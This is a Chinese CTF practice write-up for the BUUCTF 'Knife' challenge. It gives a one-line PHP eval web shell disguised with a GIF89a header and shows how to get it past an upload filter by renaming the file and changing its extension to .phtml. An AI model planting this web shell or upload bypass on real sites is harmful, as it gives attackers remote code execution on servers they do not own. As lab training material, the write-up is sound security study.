[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

[极客大挑战 2019]Knife------3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

php 复制代码
GIF89a
<script language='php'>@eval($_POST[shell]);</script>



蚁剑连接

看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以


拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

相关推荐
fakaifa6 分钟前
【最新版】沃德代驾源码全开源+前端uniapp
前端·小程序·uni-app·开源·php·沃德代驾·代驾小程序
武汉唯众智创26 分钟前
2025职业本科网络安全课程体系设计:如何培养行业急需的实战型人才?
安全·web安全·网络安全
Suckerbin1 小时前
Pikachu靶场-SQL注入
数据库·安全·网络安全
用户199701080181 小时前
手把手教你搭建 cssbuy 式淘宝代购系统
大数据·php
蜂耘4 小时前
国产DPU芯片+防火墙,能否引领网络安全新跨越?
安全·web安全
流星白龙14 小时前
【Linux】46.网络基础(3.3)
linux·网络·php
DPLSLAB614 小时前
EAL4+与等保2.0:解读中国网络安全双标准
安全·web安全
脑瓜嗡15 小时前
发送百度地图的定位
vue·php
酷爱码17 小时前
PHP通讯录网站源码无需sql数据库
php·通讯录源码
repetitiononeoneday19 小时前
网络安全-第八阶段渗透测试阶段-第1章渗透系统安装和靶场部署
安全·web安全